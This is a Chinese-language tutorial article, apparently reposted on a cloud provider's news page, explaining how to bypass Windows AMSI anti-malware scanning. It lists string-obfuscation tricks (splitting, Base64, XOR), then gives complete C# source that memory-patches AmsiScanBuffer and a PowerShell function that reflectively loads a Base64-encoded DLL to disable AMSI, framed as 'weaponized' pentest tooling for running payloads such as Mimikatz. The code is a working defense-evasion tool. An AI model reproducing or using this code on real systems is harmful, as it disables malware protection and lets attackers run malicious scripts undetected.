如何繞過AMSI并執行任意Powershell代碼

本篇文章給大家分享的是有關如何繞過AMSI并執行任意Powershell代碼，小編覺得挺實用的，因此分享給大家學習，希望大家閱讀完這篇文章后可以有所收獲，話不多說，跟著小編一起來看看吧。

眾所周知，AMSI會對獲取shell造成麻煩。

什么是AMSI？

AMSI全稱為“ANTI MALWARE SCAN INTERFACE”，即反惡意軟件掃描接口。顧名思義，它要做的就是掃描，檢測和阻止任何有害的東西。

還是不知道這是什么玩意？你可以查看下方截圖：

顯然，如果你具有在Windows環境中滲透測試的經驗，那么就應該知道幾乎所有公開的腳本（包括Nishang，Empire，PowerSploit中的腳本）都會出現這樣的錯誤。

AMSI如何運作？

AMSI之前使用“基于字符串”的檢測方法來確定PowerShell代碼是否包含惡意代碼。見下圖：

沒錯，“amsiutils”這個詞被禁止了。如果你的英文名中有這個詞，那么朋友，你就是AMSI眼中的的惡意人員。

如何繞過字符串檢測？

幾乎每個有經驗的人都知道字符串檢測很容易繞過，只要不逐字地使用被禁止的字符串。而是使用編碼或將其拆分為塊并重新組合就可以解決此問題。以下是執行“被禁止”代碼且成功繞過的三種方法：

這種方法簡單地將單詞分成兩半就足以繞過這種檢測。我們在混淆中見過許多。但在大多數情況下，這種方法沒什么用。

在某些情況下，簡單地通過Base64解碼也可以繞過檢測。

當然，你也可以使用XOR來繞過AMSI并在運行時將字符串解回內存。這是最有效的，因為這樣一來AMSI就需要更高的抽象來檢測惡意代碼。

以上所有這些技術都是圍繞字符串檢測展開的，但肯定還有其他方法。我想以原始狀態（即AMSI阻止它們的狀態）執行腳本。這樣可行嗎？

通過Memory Patching繞過AMSI

幾個月前，cyberark發布了一篇博文，描述了如何繞過AMSI。 微軟此后改變了AMSI處理PowerShell會話的方式，因此原始繞過技術現在無法起作用。Microsoft的更新更改了AMSI，因此PowerShell在掃描用戶輸入時不再使用AmsiScanString函數。

在下圖中，你可以看到AmsiScanString已被AmsiScanBuffer API替換：

運行PowerShell MimiKatz payload時，出現如下錯誤：

在此階段開始嘗試繞過新的AMSI。 目標是修補新的AmsiScanBuffer函數。下圖為函數文檔：

如你所見，此函數要獲取所需掃描的緩沖區和緩沖區長度。 我們需要做的就是在存儲緩沖區長度的函數內修補。這樣做掃描會以零長度上執行。

嚴格來說，我們并沒有“繞過”，而是禁用了它。

AMSI有一些在運行任何PowerShell代碼之前就執行的函數（從Powershell v3.0開始），因此為了完全繞過AMSI并執行任何PowerShell惡意代碼，我們需要對它們進行memory patching來完全禁用它。

它適用于最新版本的Windows！我們可以將這種技術實用化并將其應用于PowerShell腳本，因此可以在現實環境中利用它！

現在我們應用上述技術的代碼編譯C＃DLL，然后在PowerShell會話中加載并執行此代碼，此舉可以完全禁用AMSI！

using System;using System.Runtime.InteropServices;namespace Bypass{    public class AMSI    {        [DllImport("kernel32")]        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);        [DllImport("kernel32")]        public static extern IntPtr LoadLibrary(string name);        [DllImport("kernel32")]        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);        public static int Disable()        {            IntPtr TargetDLL = LoadLibrary("amsi.dll");            if (TargetDLL == IntPtr.Zero)            {                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");                return 1;            }            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");            if (AmsiScanBufferPtr == IntPtr.Zero)            {                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");                return 1;            }            UIntPtr dwSize = (UIntPtr)5;            uint Zero = 0;            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))            {                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");                return 1;            }            Byte[] Patch = { 0x31, 0xff, 0x90 };            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);            Marshal.Copy(Patch, 0, unmanagedPointer, 3);            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);            Console.WriteLine("AmsiScanBuffer patch has been applied.");            return 0;        }    }}

效果如下圖：

這樣我們就可以完全繞過檢測。可以自由加載任何PowerShell腳本，無論是否惡意。通過將此類方法與你的工具相結合，成功率將大大提升。

通過PowerShell進行武器化使用

當然，在滲透測試中，我們必須擁有自動應用此類技術的工具。同樣，當我們通過C＃使用.NET框架時，可以在運行時創建一個映射DLL到內存的Posh腳本，而無需將DLL接觸磁盤。

以下是禁用AMSI的PowerShell腳本：

function Bypass-AMSI{    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {        [Reflection.Assembly]::Load([Convert]::FromBase64String("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N0RBQ0VEAEJ5cGFzc0FNU0kAbXNjb3JsaWIAc3JjAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBkd1NpemUAc2l6ZQBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEFsbG9jSEdsb2JhbABNYXJzaGFsAEtlcm5lbDMyLmRsbABCeXBhc3NBTVNJLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24Ab3BfQWRkaXRpb24AWmVybwAuY3RvcgBVSW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBSdW50aW1lSGVscGVycwBCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAAAABFhAG0AcwBpAC4AZABsAGwAAFdFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAcgBlAHQAcgBpAGUAdgBlACAAYQBtAHMAaQAuAGQAbABsACAAcABvAGkAbgB0AGUAcgAuAAAdQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByAABzRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAGYAdQBuAGMAdABpAG8AbgAgAHAAbwBpAG4AdABlAHIAAHVFAFIAUgBPAFIAOgAgAEMAbwB1AGwAZAAgAG4AbwB0ACAAYwBoAGEAbgBnAGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABtAGUAbQBvAHIAeQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAhAABNQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAcABhAHQAYwBoACAAaABhAHMAIABiAGUAZQBuACAAYQBwAHAAbABpAGUAZAAuAAAAAABNy6E5KHzvRJzwgzKCw/hXAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIHBwUYGBkJGAIGGAUAAgIYGAQAAQEOBAABGQsHAAIBEmERZQQAARgICAAEAR0FCBgIBQACGBgICLd6XFYZNOCJAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAADwEACkJ5cGFzc0FNU0kAAAUBAAAAABcBABJDb3B5cmlnaHQgwqkgIDIwMTgAACkBACQ4Y2ExNGM0OS02NDRiLTQwY2YtYjFjNy1hNWJkYWViMGIyY2EAAAwBAAcxLjAuMC4wAABNAQAcLk5FVEZyYW1ld29yayxWZXJzaW9uPXY0LjUuMgEAVA4URnJhbWV3b3JrRGlzcGxheU5hbWUULk5FVCBGcmFtZXdvcmsgNC41LjIEAQAAAAAAAAAAAN3BR94AAAAAAgAAAGUAAAAMLAAADA4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTac9x8RJ6SEet9F+qmVae0gEAAABDOlxVc2Vyc1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這不會被檢測，因為它根本不包含任何惡意內容。它只是將.NET程序加載到內存并執行代碼。執行后，你就可以執行PowerShell任意代碼。

效果見下圖：

這種技術非常棒且非常有用，之前被AMSI阻止過的腳本，加上這樣的方法即可解決。

以上就是如何繞過AMSI并執行任意Powershell代碼，小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。